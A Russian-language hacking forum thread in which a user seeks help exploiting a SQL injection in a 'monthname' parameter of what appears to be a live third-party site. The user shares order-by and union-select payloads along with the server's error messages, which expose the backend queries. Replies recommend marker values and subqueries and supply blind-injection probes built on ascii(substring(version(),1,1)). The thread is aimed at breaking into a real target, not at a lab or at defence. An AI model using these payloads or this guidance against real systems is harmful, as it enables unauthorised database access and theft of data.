![]() |
Вопрос специалистам в sql-injection
Всем привет. Такой вопрос:
есть sql-injection. При запросе при добавлении к уязвимому параметру: monthname=december' order by 8/* выдаётся следующая ошибка: Код:
Error: Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*' Ошибка: Unknown column '8' in 'order clause'monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при monthname=december' union select 1,2,3,4,5,6,7/* выводится ошибка вида: Код:
Error: Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date Ошибка: The used SELECT statements have a different number of columnsmonthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал. Я так понял тут следуют несколько один за одним запросов, как с этим работать? Надеюсь на Ваши ответы ) Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов. |
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе? |
Цитата:
|
Пока больше никаких идей нет :(
|
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный В твоём случае только подзапросы юзать |
Цитата:
Может расскажешь как их правильно юзать или дашь ссылку? |
Цитата:
брошюрко -> статья ZaCo |
учти, что в мускулах <4.2 подзапросы не поддерживаются.
|
не 4.2, а 4.1.. то есть подзапросы появились в 4.1..
monthname=december+and+ascii(substring(version(),1 ,1))>0/* monthname=december+and+ascii(substring(version(),1 ,1))<0/* проверь разные ли ответы |
Да, спасибо за поправку,
с Наступившим. |
| Время: 09:40 |